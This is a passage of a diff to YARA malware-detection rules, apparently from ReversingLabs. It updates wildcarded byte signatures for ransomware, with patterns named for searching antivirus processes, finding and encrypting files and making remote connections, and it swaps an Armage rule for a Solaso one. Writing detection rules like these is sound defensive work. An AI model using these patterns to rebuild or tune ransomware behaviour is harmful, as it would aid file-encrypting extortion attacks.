+            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B E5 5D C3
+        }
+		$set_url_parameters_v5_0_3 = {
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
+            ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
+            75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D
+            45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
+            6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B E5 5D C3
+        }
+		$search_antivirus_processes_v5_0_2 = {
+            55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? BB ?? ?? ?? ?? 57 6A ?? 53 68 ?? ?? ?? ??
+            33 C0 50 FF D6 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? FF D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB
+            ?? 56 33 C9 89 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            83 7D ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ??
+            ?? 85 C0 74 ?? 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D
+            58 ?? 8D 46 ?? 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 37 FF 15 ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D
+            0C 41 8B 45 ?? 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ??
+            ?? ?? ?? 85 C0 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07
+            33 C9 66 39 08 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D
+            ?? 89 08 68 ?? ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ??
+            ?? 85 DB 75 ?? 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2
+        }
+		$find_files_v5_0_2 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39
+            7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9
+            ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ??
+            89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50
+            6A ?? 56 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 8D 44 24 ?? 50 56 FF 15 ?? ??
+            ?? ?? 89 44 24 ?? 8B 4C 24 ?? 33 D2 66 89 11 83 F8 ?? 75 ?? BF ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D
+            44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? F6 44
+            24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ??
+            ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ??
+            ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 59 8B
+            44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ??
+            ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B
+            8B E5 5D C3
+        }
+		$crypt_files_v5_0_2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ??
+            ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 50 68 ??
+            ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? 33 C0
+            50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB
+            ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 68
+            ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ??
+            81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ??
+            ?? 53 FF 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 0F 57
+            C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 83 65 ?? ?? 8D 55
+            ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68
+            ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ??
+            ?? ?? 83 65 ?? ?? 83 65 ?? ?? 41 89 45 ?? 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ??
+            ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ??
+            ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84
+            ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ??
+            ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ??
+            89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ??
+            ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75
+            ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85
+            C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33
+            C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13
+            45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53
+            FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B
+            CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ??
+            FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF
+            D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75
+            ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01
+            8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ??
+            ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+        }
+		$remote_connection_v5_0_2 = {
+            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3
+            8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ??
+            ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
+            83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68
+            ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF
+            75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 33 C9 41 85 C0 8B 45 ?? 0F 45
+            F9 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2
+        }
+		$crypt_files_v5_0_3 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F9 89 55 ?? 33 DB B9 ?? ?? ?? ?? 89 5D ?? E8
+            ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ??
+            53 53 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 53
+            6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 8D 45 ?? 50 68 ?? ?? ?? ??
+            56 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 81 BE ?? ??
+            ?? ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? FF 70 ?? FF 70 ?? 53 53 57 FF 15 ?? ?? ?? ?? 57 FF
+            15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 53 0F 57 C0 66 0F 13 45 ?? FF
+            75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 55 ?? 89 5D ?? 56 8D 4D ?? E8 ?? ??
+            ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 88 5D ?? 48 75 ?? 51 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 41
+            8B 45 ?? 89 85 ?? ?? ?? ?? 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 8E ?? ?? ?? ?? 83 C1
+            ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 5D ?? 53 8D 45 ?? 50 FF B6 ?? ?? ?? ?? FF 75
+            ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 3B
+            8E ?? ?? ?? ?? 8B 45 ?? 6A ?? 5A 0F 42 C2 39 5D ?? 8B 55 ?? 0F 45 45 ?? 01 8E ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? 89 45 ?? 11 9E ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 50 56 89 45 ??
+            E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 53 52 50 57 FF 15 ?? ?? ?? ?? 8B
+            C3 89 5D ?? 83 F8 ?? 7D ?? 53 8D 45 ?? 50 FF 75 ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75
+            ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 40 89 45 ?? EB ?? 8B 75 ?? 33 C0 8B 4D ?? 40 01
+            86 ?? ?? ?? ?? 11 9E ?? ?? ?? ?? EB ?? 33 C0 8D 48 ?? 89 4D ?? 85 C9 0F 84 ?? ?? ??
+            ?? 39 5D ?? 74 ?? 6A ?? 53 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 57 FF 15 ?? ??
+            ?? ?? 53 8D 45 ?? 50 68 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B D8 E8 ?? ??
+            ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 FF ?? 74 ?? 8B 45 ?? 57 83 08
+            ?? FF 15 ?? ?? ?? ?? 8B C3 5F 5E 5B 8B E5 5D C3
+        }
+		$remote_connection_v5_0_3 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 68 ?? ?? ?? ?? 33 DB 8D 85 ?? ?? ?? ?? 8B F1 53
+            50 89 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B FB 0F B7 04 5E 66 85 C0 74 ?? 83 F8 ?? 75 ??
+            83 C3 ?? 56 89 5D ?? FF 15 ?? ?? ?? ?? 3B D8 73 ?? 8D 14 1B 0F B7 04 32 EB ?? 66 83
+            F8 ?? 74 ?? 43 0F B7 04 5E 66 85 C0 75 ?? EB ?? 8B CB 2B 4D ?? 74 ?? 03 F2 8D BD ??
+            ?? ?? ?? D1 E9 F3 A5 13 C9 66 F3 A5 8B 75 ?? 8D 43 ?? 8D 04 46 50 8D 85 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 33 FF 47 43 85 FF 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ??
+            ?? 8D 7D ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85
+            FF 74 ?? 51 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 83 EC ?? 57 FF 15 ?? ?? ??
+            ?? 50 57 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B CF 8B
+            F0 E8 ?? ?? ?? ?? EB ?? 33 F6 83 7D ?? ?? 74 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 8B C6
+            5E 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($enum_resources_*)) and ($find_files) and ( all of ($encrypt_files_*))
+		uint16(0)==0x5A4D and (($search_antivirus_processes and $find_files and $crypt_files and $remote_connection) or ($find_files_v2 and $crypt_files_v2 and $search_antivirus_processes_v2 and $remote_connection_v2) or ($search_antivirus_processes_v2 and $find_files_v2_1 and $crypt_files_v2_1 and $remote_connection_v2_1) or ($search_antivirus_processes_v4_1_2 and $find_files_v4_1_2 and $crypt_files_v4_1_2 and $remote_connection_v4_1_2 and $url_parameters_setup_v4_1_2) or ($search_antivirus_processes_v4 and $find_files_v4 and $crypt_files_v4 and $url_parameters_setup_v4) or ($search_antivirus_processes_v2 and $find_files_v2_1 and $remote_connection_v2_1 and $crypt_files_v3) or ($search_antivirus_processes_v5 and $find_files_v5 and $crypt_files_v5 and $remote_connection_v5 and $url_parameters_setup_v5) or ($search_antivirus_processes_v5_0_1 and $find_files_v5_0_1 and $crypt_files_v5_0_1 and $url_parameters_setup_v5_0_1 and $remote_connection_v5_0_1) or ($search_antivirus_processes_v5_0_2 and $find_files_v5_0_2 and $crypt_files_v5_0_2 and $set_url_parameters_v5_0_2 and $remote_connection_v5_0_2) or ($search_antivirus_processes_v5_0_2 and $find_files_v5_0_2 and $crypt_files_v5_0_3 and $set_url_parameters_v5_0_3 and $remote_connection_v5_0_3))
 }
-rule REVERSINGLABS_Win32_Ransomware_Armage : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Solaso : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Armage ransomware."
+		description = "Yara rule that detects Solaso ransomware."
 		author = "ReversingLabs"
-		id = "94cf639b-7d9e-51ca-b547-e0d591581df2"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "53f56ad8-ccdf-58f0-a5d9-e58f2c18ac76"
+		date = "2021-11-02"
+		modified = "2021-11-02"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Armage.yara#L1-L128"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "aa8ddcbb0fdcad15e603e000db1d4f86eae7d42efce1c1d21dc3dd57ee9f4319"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Solaso.yara#L1-L171"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "368a80a9f2e264d17c61d6ed4c22baec838ba0b0bc2e5c79344830bf861aa5a2"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -31538,118 +33252,161 @@ rule REVERSINGLABS_Win32_Ransomware_Armage : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Armage"
+		tc_detection_name = "Solaso"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$find_files_p1 = {
+            C6 85 ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 ?? 4C 89 AD ?? ?? ?? ?? 48 8D 85
+            ?? ?? ?? ?? 48 89 45 ?? B1 ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 90 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D
+            85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B BD
+            ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? 49 3B FF 0F 84 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 8D
+            95 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 90 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ??
+            ?? 48 0F 43 95 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 8B C8 E8 ?? ?? ?? ?? 4C 89 AD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85
+            ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 95 ?? ?? ?? ??
+            4C 8B 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CF 48 83 7F ?? ?? 72
+            ?? 48 8B 0F BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
+            48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 4C 89 AD ??
+            ?? ?? ?? 4C 89 AD ?? ?? ?? ?? 48 8B B5 ?? ?? ?? ?? 4C 8D B5 ?? ?? ?? ?? 48 83 BD ??
+            ?? ?? ?? ?? 4C 0F 43 B5 ?? ?? ?? ?? 48 83 FE ?? 73 ?? 41 0F 10 06 0F 11 85 ?? ?? ??
+            ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48
+        }
+		$find_files_p2 = {
+            8B DE 48 83 CB ?? 48 3B D8 48 0F 47 D8 48 8D 4B ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D
+            41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? 0F AE E8 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 48 85 C0
+            0F 84 ?? ?? ?? ?? 48 83 C0 ?? 48 83 E0 ?? 48 89 48 ?? EB ?? 48 85 C9 74 ?? 0F AE E8
+            E8 ?? ?? ?? ?? EB ?? 49 8B C5 48 89 85 ?? ?? ?? ?? 4C 8D 46 ?? 49 8B D6 48 8B C8 E8
+            ?? ?? ?? ?? 48 89 9D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 4C 89 6D ?? 4C 89 6D ?? 48 8B
+            B5 ?? ?? ?? ?? 4C 8D B5 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 4C 0F 43 B5 ?? ?? ?? ??
+            48 83 FE ?? 73 ?? 41 0F 10 06 0F 11 45 ?? 48 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48
+            B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 45 ?? 48 8B DE 48 83 CB ?? 48 89 5D ?? 48 3B D8 48
+            0F 47 D8 48 8D 4B ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ??
+            ?? 0F AE E8 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 0F 84 ?? ?? ?? ?? 48 83 C0 ??
+            48 83 E0 ?? 48 89 48 ?? EB ?? 48 85 C9 74 ?? 0F AE E8 E8 ?? ?? ?? ?? EB ?? 49 8B C5
+            48 89 45 ?? 4C 8D 46 ?? 49 8B D6 48 8B C8 E8 ?? ?? ?? ?? 48 89 5D ?? 48 89 75 ?? 4C
+            8D 85 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8D
+        }
 		$encrypt_files_p1 = {
-            55 89 E5 53 8D 5D ?? 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? 8D 5D
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 65 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 45
-            ?? 8D 50 ?? 8D 48 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 89 50 ?? 89
-            95 ?? ?? ?? ?? 8D 50 ?? 89 50 ?? 89 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 5D ?? 83 EC ?? 89 5D ??
-            8B 41 ?? 8B 51 ?? 8D 4D ?? 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 45 ?? 8D 5D ?? 83 EC ?? 89 5C 24 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 45 ?? 8D 5D ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 89 42 ?? 8B 55 ?? 89 4C 24 ?? 89 04 24 29 CA 89 54 24
